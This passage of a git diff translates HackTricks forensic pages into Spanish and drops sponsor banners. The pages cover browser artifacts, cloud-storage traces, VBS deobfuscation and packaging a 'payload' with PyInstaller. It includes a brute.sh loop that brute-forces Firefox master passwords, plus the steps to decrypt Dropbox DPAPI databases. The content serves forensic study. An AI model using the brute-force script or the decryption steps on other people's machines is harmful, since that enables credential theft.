py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### Para crear un payload usando PyInstaller: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. Instala PyInstaller usando pip (pip install pyinstaller). +2. Después de eso, emitiremos el comando “pyinstaller –onefile hello.py” (un recordatorio de que ‘hello.py’ es nuestro payload). Esto empaquetará todo en un solo ejecutable. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## Referencias - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..741d4b18e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +Aquí puedes encontrar trucos interesantes para tipos de archivos y/o software específicos: {{#ref}} .pyc.md diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index 104a7530f..46eca237c 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,139 +1,129 @@ -# Browser Artifacts +# Artefactos del Navegador {{#include ../../../banners/hacktricks-training.md}} -
+## Artefactos del Navegador -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se mantienen en carpetas específicas dentro del sistema operativo, variando en ubicación y nombre entre navegadores, pero generalmente almacenando tipos de datos similares. -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} +Aquí hay un resumen de los artefactos de navegador más comunes: -## Browsers Artifacts - -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. - -Here's a summary of the most common browser artifacts: - -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos. +- **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combinan con el historial de navegación. +- **Marcadores**: Sitios guardados por el usuario para acceso rápido. +- **Extensiones y Complementos**: Extensiones del navegador o complementos instalados por el usuario. +- **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga de los sitios web, valioso para el análisis forense. +- **Inicios de Sesión**: Credenciales de inicio de sesión almacenadas. +- **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para información adicional sobre las visitas del usuario. +- **Sesiones del Navegador**: Datos relacionados con las sesiones abiertas del navegador. +- **Descargas**: Registros de archivos descargados a través del navegador. +- **Datos de Formularios**: Información ingresada en formularios web, guardada para futuras sugerencias de autocompletar. +- **Miniaturas**: Imágenes de vista previa de sitios web. +- **Custom Dictionary.txt**: Palabras añadidas por el usuario al diccionario del navegador. ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefox organiza los datos del usuario dentro de perfiles, almacenados en ubicaciones específicas según el sistema operativo: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` mismo. Si falta la carpeta de un perfil, puede haber sido eliminada. -Within each profile folder, you can find several important files: +Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: Almacena historial, marcadores y descargas. Herramientas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) en Windows pueden acceder a los datos del historial. +- Usa consultas SQL específicas para extraer información de historial y descargas. +- **bookmarkbackups**: Contiene copias de seguridad de marcadores. +- **formhistory.sqlite**: Almacena datos de formularios web. +- **handlers.json**: Gestiona los controladores de protocolo. +- **persdict.dat**: Palabras del diccionario personalizado. +- **addons.json** y **extensions.sqlite**: Información sobre complementos y extensiones instalados. +- **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows. +- **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). +- **favicons.sqlite**: Almacena favicons. +- **prefs.js**: Configuraciones y preferencias del usuario. +- **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite. +- **thumbnails**: Miniaturas de sitios web. +- **logins.json**: Información de inicio de sesión encriptada. +- **key4.db** o **key3.db**: Almacena claves de encriptación para asegurar información sensible. -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +Además, verificar la configuración de anti-phishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas. +Para intentar descifrar la contraseña maestra, puedes usar [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ +Con el siguiente script y llamada puedes especificar un archivo de contraseña para realizar un ataque de fuerza bruta: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (692).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome almacena perfiles de usuario en ubicaciones específicas según el sistema operativo: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +Dentro de estos directorios, la mayoría de los datos del usuario se pueden encontrar en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede usar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) para leer el historial. La columna "Transition Type" tiene varios significados, incluyendo clics del usuario en enlaces, URLs escritas, envíos de formularios y recargas de página. +- **Cookies**: Almacena cookies. Para inspección, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html). +- **Cache**: Contiene datos en caché. Para inspeccionar, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). +- **Bookmarks**: Marcadores del usuario. +- **Web Data**: Contiene el historial de formularios. +- **Favicons**: Almacena favicons de sitios web. +- **Login Data**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas. +- **Current Session**/**Current Tabs**: Datos sobre la sesión de navegación actual y las pestañas abiertas. +- **Last Session**/**Last Tabs**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome. +- **Extensions**: Directorios para extensiones y complementos del navegador. +- **Thumbnails**: Almacena miniaturas de sitios web. +- **Preferences**: Un archivo rico en información, incluyendo configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más. +- **Browser’s built-in anti-phishing**: Para verificar si la protección contra phishing y malware está habilitada, ejecute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busque `{"enabled: true,"}` en la salida. -## **SQLite DB Data Recovery** +## **Recuperación de Datos de SQLite DB** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Como se puede observar en las secciones anteriores, tanto Chrome como Firefox utilizan bases de datos **SQLite** para almacenar los datos. Es posible **recuperar entradas eliminadas utilizando la herramienta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, ayudando a separar la información almacenada y sus detalles correspondientes para un fácil acceso y gestión. -### Metadata Storage +### Almacenamiento de Metadatos -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Los metadatos para Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Acompañando esto, el archivo `V01.log` puede mostrar discrepancias en el tiempo de modificación con `WebcacheVX.data`, indicando la necesidad de reparación usando `esentutl /r V01 /d`. Este metadato, alojado en una base de datos ESE, puede ser recuperado e inspeccionado utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluyendo detalles de caché para otras herramientas de Microsoft como Skype. -### Cache Inspection +### Inspección de Caché -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +La herramienta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permite la inspección de caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de caché incluyen nombre de archivo, directorio, conteo de accesos, origen de URL y marcas de tiempo que indican la creación, acceso, modificación y tiempos de expiración de la caché. -### Cookies Management +### Gestión de Cookies -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +Las cookies se pueden explorar usando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, conteos de acceso y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en memoria. -### Download Details +### Detalles de Descargas -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +Los metadatos de descargas son accesibles a través de [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos se pueden encontrar en `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. -### Browsing History +### Historial de Navegación -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +Para revisar el historial de navegación, se puede usar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), requiriendo la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con conteos de acceso. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`. -### Typed URLs +### URLs Escritas -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +Las URLs escritas y sus tiempos de uso se almacenan en el registro bajo `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada. ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Packages`. Las rutas para varios tipos de datos son: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,38 +133,31 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Los archivos clave incluyen: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visitas. Use `sqlite3` para consultar. +- **Downloads.plist**: Información sobre archivos descargados. +- **Bookmarks.plist**: Almacena URLs marcadas. +- **TopSites.plist**: Sitios más visitados. +- **Extensions.plist**: Lista de extensiones del navegador Safari. Use `plutil` o `pluginkit` para recuperar. +- **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Use `plutil` para analizar. +- **LastSession.plist**: Pestañas de la última sesión. Use `plutil` para analizar. +- **Browser’s built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa. ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparte el formato de Chrome para historial y descargas. -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: Verifique comprobando si `fraud_protection_enabled` en el archivo de preferencias está configurado como `true` usando `grep`. -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +Estas rutas y comandos son cruciales para acceder y comprender los datos de navegación almacenados por diferentes navegadores web. -## References +## Referencias - [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) - [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..69b24830d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +Algunas cosas que podrían ser útiles para depurar/desofuscar un archivo VBS malicioso: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## Comentarios ```bash ' this is a comment ``` - -## Test - +## Prueba ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## Escribir datos en un archivo ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index f64869c3c..cedd361c7 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,97 @@ -# Local Cloud Storage +# Almacenamiento en la Nube Local {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +En Windows, puedes encontrar la carpeta de OneDrive en `\Users\\AppData\Local\Microsoft\OneDrive`. Y dentro de `logs\Personal` es posible encontrar el archivo `SyncDiagnostics.log` que contiene algunos datos interesantes sobre los archivos sincronizados: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- Tamaño en bytes +- Fecha de creación +- Fecha de modificación +- Número de archivos en la nube +- Número de archivos en la carpeta +- **CID**: ID único del usuario de OneDrive +- Hora de generación del informe +- Tamaño del HD del sistema operativo -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +Una vez que hayas encontrado el CID, se recomienda **buscar archivos que contengan este ID**. Es posible que encuentres archivos con el nombre: _**\.ini**_ y _**\.dat**_ que pueden contener información interesante como los nombres de los archivos sincronizados con OneDrive. ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +En Windows, puedes encontrar la carpeta principal de Google Drive en `\Users\\AppData\Local\Google\Drive\user_default`\ +Esta carpeta contiene un archivo llamado Sync_log.log con información como la dirección de correo electrónico de la cuenta, nombres de archivos, marcas de tiempo, hashes MD5 de los archivos, etc. Incluso los archivos eliminados aparecen en ese archivo de registro con su correspondiente MD5. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos** **sincronizados**, tiempo de modificación, tamaño y el checksum MD5 de los archivos. -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +Los datos de la tabla de la base de datos **`Sync_config.db`** contienen la dirección de correo electrónico de la cuenta, la ruta de las carpetas compartidas y la versión de Google Drive. ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox utiliza **bases de datos SQLite** para gestionar los archivos. En este\ +Puedes encontrar las bases de datos en las carpetas: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +Y las bases de datos principales son: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +La extensión ".dbx" significa que las **bases de datos** están **encriptadas**. Dropbox utiliza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Para entender mejor la encriptación que utiliza Dropbox, puedes leer [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). -However, the main information is: +Sin embargo, la información principal es: -- **Entropy**: d114a55212655f74bd772e37e64aee9b -- **Salt**: 0D638C092E8B82FC452883F95F355B8E -- **Algorithm**: PBKDF2 -- **Iterations**: 1066 +- **Entropía**: d114a55212655f74bd772e37e64aee9b +- **Sal**: 0D638C092E8B82FC452883F95F355B8E +- **Algoritmo**: PBKDF2 +- **Iteraciones**: 1066 -Apart from that information, to decrypt the databases you still need: +Aparte de esa información, para descifrar las bases de datos aún necesitas: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- La **clave DPAPI encriptada**: Puedes encontrarla en el registro dentro de `NTUSER.DAT\Software\Dropbox\ks\client` (exporta estos datos como binarios) +- Los **hives** de **`SYSTEM`** y **`SECURITY`** +- Las **claves maestras DPAPI**: Que se pueden encontrar en `\Users\\AppData\Roaming\Microsoft\Protect` +- El **nombre de usuario** y **contraseña** del usuario de Windows -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +Luego puedes usar la herramienta [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** ![](<../../../images/image (443).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +Si todo sale como se espera, la herramienta indicará la **clave principal** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente usa esta [receta de cyber_chef]() poniendo la clave principal como la "frase de paso" dentro de la receta. +El hex resultante es la clave final utilizada para encriptar las bases de datos que se puede descifrar con: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +La base de datos **`config.dbx`** contiene: -The **`config.dbx`** database contains: +- **Email**: El correo electrónico del usuario +- **usernamedisplayname**: El nombre del usuario +- **dropbox_path**: Ruta donde se encuentra la carpeta de Dropbox +- **Host_id: Hash** utilizado para autenticarse en la nube. Esto solo se puede revocar desde la web. +- **Root_ns**: Identificador del usuario -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +La base de datos **`filecache.db`** contiene información sobre todos los archivos y carpetas sincronizados con Dropbox. La tabla `File_journal` es la que tiene más 